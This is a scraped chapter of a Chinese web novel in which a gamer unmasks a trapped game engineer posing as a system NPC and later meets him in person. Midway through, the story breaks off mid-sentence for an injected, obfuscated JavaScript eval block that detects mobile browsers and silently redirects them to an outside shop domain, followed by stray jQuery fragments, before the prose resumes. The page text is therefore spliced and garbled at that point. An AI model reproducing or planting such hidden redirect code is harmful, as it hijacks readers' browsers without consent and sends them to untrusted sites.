文趣网 > 都市小说 > 入侵你的代码层 > 28. 他开口之前
    张驭在副本门口坐下的时候,没想过会接到任务。

    他刚打完亡魂殿堂的S级BOSS,手还握着刀柄,血条刚回满不到两分钟。副本门外的暗红色天空和往常一样压得很低,脚下是副本门口的碎石地面,他想的是"该下线了"——今天没有什么值得继续打的内容,打完了就去睡觉,明天起早。

    然后他面前弹出了一个任务面板。

    面板的底色是系统默认的深蓝,字体是标准格式,内容是一段任务描述:"底层代码出现裂隙,需要勇士进入修复。奖励未知。"张驭的视线在"奖励未知"四个字上停了一下,然后又停了第二下。他在这款游戏里已经待了快两年,只对两种东西感兴趣:打得过的对手和解释不了的事。奖励未知属于解释不了的那一类,因为他见过这个游戏所有已知任务的奖励类型,没有一种会写"未知"。

    他抬刀劈碎了旁边的一根石柱。石柱从中间裂开,碎石落地的声音在副本门口的空地上响了好几秒,然后停止了。他看着任务面板说:"谁在装神弄鬼。"

    面板没有反应。但他知道有人在看,因为这个任务面板出现的时机太准了——他在副本里打BOSS的时候没有弹出来,打完之后没有立刻弹出来,它选择了一个他刚打完、正在想"该下线了"的空隙弹出来。有人在等他结束那场战斗,等到他收刀休息的间隙才按下发送键。

    他看着面板又等了大约五秒,那五秒里他脑子里在确认几件事:第一,这个任务的字体格式和官方活动通知一致——能冒充官方格式的人要么是官方内部人员,要么是能破解系统的人。第二,任务描述里对"底层"的定义用的是开发术语,不是玩家常用的说法,发任务的人懂底层的结构。第三,这个人等到了他打完之后才发,说明这个人在看着他。等他想完这三件事,一个机械音从他终端里传了出来,不带任何情绪的平稳声音:"我是深渊意志的残余碎片。底层代码出现裂隙,需要勇士协助修复。"

    张驭对这个声音的第一印象是"太干净了"。系统语音生成器生成的声音通常会在某些音节上出现极其微小的畸变,那是压缩算法造成的,听久了能分辨出来。但终端里传出来的这个声音没有那种畸变,它平整得像一条刚铺好的路,不像是系统生成的——更像是有人在用某种方法把自己的声音伪装成机械音,把所有的语气、起伏、个人特征全部压平了再传出来。那种平整本身就是一种破绽,因为过于平整的东西通常是人为制造的。张驭没有立刻说破,只是继续看着面板,用他平时用得最顺的那种"懒得配合"的语气说:"深渊意志?官网那本设定集里写这玩意儿三百年前就死了。"

    他一边说一边在观察任务面板的响应时间——从他话音落地到机械音再次响起之间的间隔大约是零点三秒,比一个真实的NPC系统响应速度快了大约零点二秒。真实的系统需要处理语音输入、语义解析、调用数据库、生成回复,整个过程至少要零点五秒。零点三秒是人的反应速度,是有人在听完他说话之后立即按下发送键的速度。

    "我确实已死。现在的我是底层数据残留的回响,借用了官方系统的外壳才能触达表层。我的存在本身就是一个BUG。"机械音用零点三秒的间隔回复了。

    张驭当时没有继续追问。他把刀收回来扛在肩上,歪着头看着面板,把它从头到尾又读了一遍——不是读内容,是读格式。任务名和描述的排版方式和官方公告有一处细微的差别,官方公告的任务名和描述之间会空一行,这个面板没有空那行。一个能模仿官方字体格式却漏掉了行距的人,要么是不知道这个细节,要么是时间太紧来不及调整。他倾向于后者。

    他说"行,任务我接了"的时候已经决定了一件事:他要看看这个声音背后的人是谁。不是因为他相信了"深渊意志"的鬼话,是因为一个藏在系统底层、用机械音伪装自己的真人,比任何副本BOSS都有意思。那个人用了零点三秒的反应时间、漏掉了行距格式、等了他打完BOSS才发任务——所有细节拼在一起之后张驭得出的结论是:这是一个被困在底层的真人,正在尝试用他能想到的所有方法让外面的人进去救他。

    但他不打算让那个声音知道他已经猜到了。他故意加了一个条件:"我要你亲自来接我,NPC。"他用了"NPC"这个称呼,加重了语气,像在对一个系统角色提要求。然后他转身走进BOSS房,在暗红色的光里偏了一下头,等着。那个声音回答说:"可以。接引通道将在明日开启,届时我会以投影形态出现在你面前。"

    张驭关门的时候嘴角动了一下,幅度很小,小到如果当时有人在场也不会注意到。但他自己知道那个弧度代表了什么——他在想,明天他会看到什么。一个穿斗篷的投影,一个伪装成系统角色的人。一个在终端后面停顿零点三秒给他答案的人。

    第二天他看到了李析。

    从副本门口走过来的是一个穿着灰黑色斗篷的人影,面部笼罩在一层数据迷雾里,轮廓模糊,站姿重心靠后——和他在官网发布会的直播录像里看到过的《深渊纪元》首席工程师的站姿完全不同,差了两寸的重心偏移。张驭靠在那块石碑上看着那个人走近,脑子里把这三天里收集到的所有信息放在同一张桌上:第一,公测发布会当天首席工程师在台上消失了。第二,当天底层接口维护记录里有一个来自运维组副主管的权限标记。第三,有人在发布会之后以"NPC"的身份在游戏底层发布了一个编造的任务。三个点连起来只有一条直线,那个穿着灰黑斗篷走过来的"NPC",就是发布会现场消失的那位工程师。

    张驭靠在石碑上没有动,让那个穿斗篷的人先开口。他在验证一件事——这个人会不会用一个他提前准备好的说法来掩饰自己。李析的机械音响起来的时候说了一句:"勇士,接引已到。请随我进入底层。"他在用"勇士"这个词,一个NPC式的称呼,但张驭在他斗篷下摆的侧面看到了一条数据流的边缘——那团银白色的光点在斗篷的下缘短暂地闪了一下,从"半透明"切换到了"几乎实心"。那是一个人的注意力波动引起的,他在紧张。

    张驭没有拆穿。他看着李析模糊的面部轮廓,说:"你就是深渊意志?瘦成这样。"他在测试——测试一个"NPC"会不会对"瘦"这个字产生反应。李析的机械音停了零点四秒才回答:"形体为数据投影,与生前的□□特征无关。"零点四秒,比前一天慢了零点一秒。那个人在听到"瘦"的时候被触动了,花了一点时间重新调整回机械音状态才回应。

    张驭点了点头,在心里做了个标记。然后他伸出手,两根手指捏住了斗篷的边缘布料。布料有触感、有温度、有纹理仿真参数——全息游戏的NPC不会模拟这些,那是给玩家角色用的物理交互功能。他的指尖在布料上停留了不到一秒,然后收回来,用他平时最常用的那种不紧不慢的语气说:"意志碎片还有体温?布料仿真率挺高。"

    他看到了李析的影子在斗篷下面微缩了一下。然后李析说"请专注任务目标"的时候,声

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930605|213624||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    音的尾端有一个极其轻微的拉长,像一个人在说完一句话之后发现自己忘记收住。张驭把那个拉长也收进了脑子里,没有说话,跟着李析走进了通道入口。

    他在穿过通道接口的时候做出了一次真实的皱眉——不是给李析看的,是给自己确认的。他走进底层荒漠,脚落在地面上的时候脚下炸开了一大片红色错误代码,那些代码像血管一样在地面上蔓延开来。他说出了他在看到这片红色时脑子里冒出来的那个比喻:"像活人的血管。一动就流血。"他侧头看向李析的时候,注意到李析的投影在那个比喻之后静止了大概一秒——没有讲话,没有指令,只是停在那里。像一个人站在某句话面前不知道该怎么接。

    张驭在那一刻确认了一件事:这个人是活的。他在用自己的方式在底层生存,用自己的判断来筛选每一句话该不该说,用自己的紧张来控制数据流的波动幅度。他站在张驭面前不到两步的距离,穿着半透明的斗篷,用一个机械音伪装成系统角色,但他所有的破绽都已经在张驭面前露过一遍了——反应时间、行距格式、体温、触感、零点四秒的停顿、斗篷下摆的光点闪烁、还有那句"请专注任务目标"末尾拉长的尾音。张驭收集了所有破绽,没有在现场拼合。他只是看着李析,说:"行。我跟你下去。"

    他在那之后花了二十三天来拼合那些破绽。每一个裂隙点、每一句机械音、每一次抖动的数据流、每一帧消失又亮起的光点,都被他收进了自己的信息栏里。他从第一天就知道李析是那个消失的首席工程师,第一面就知道李析在用斗篷和数据雾掩盖自己的脸,第二面就知道李析的体温破绽是紧张导致的参数设置失误。但他从来没有在一个裂隙点上说过"我知道了"。

    他在等那个人自己说。如果一个人用二十三天的时间每天对着一个他以为在骗的人说"明天六点半",如果一个人用数据流去挡逆流的冲击、用磨损的保护层去缓冲权限流的波动、用"等你"两个字在传输中断之前作为最后一帧信号——那个人会在该说的时候说出该说的话。

    第二十三天,张驭站在主会场入口,推开那扇门之前手里拎着一件深灰色的外套。

    他的手机里存着他凌晨四点出发前翻出来的最后一条数据——李析在倒数第二天的晚上问他"主会场离你住的地方四个小时是真的吗",他回了"是真的"。然后他又发了一条,在凌晨三点四十六分,比出发时间早了十四分钟,发到了一个底层不存在的接收端。他发的是:"我在路上了。你出来的时候我应该在。"那条消息没有送达——底层已经关闭了全部外部通讯接口,在最后一扇门打开的时候释放了所有被困数据。但他在发出去的时候已经知道它不会送达。他只是想把"在路上"这几个字留在一个底层能看到的地方,万一那个地方还在运行、万一那个人最后几帧的传输还能接到什么东西。如果接收不到也没有关系,因为他在路上了,他会到。

    他在十步之外停下来,看着那个人转过身来。浅灰色长袖,袖口掉了一颗扣子,手是实的。他开口问了一声:"你站的位置就是你被推下去之前站的?"那个人回答他的时候没有用机械音。那是一个真实的、没有经过任何伪装和压缩的声音,尾音比他记忆中所有机械音的版本都低了一点,像一个人摘下了面具之后调整到最本来的状态。张驭听到了那个声音,确认它和他在终端里听到的所有版本是同一个人——只是没有压平了。

    然后他跨出了那十步。他知道那个人会回答。他也知道那个人会愿意被他走向。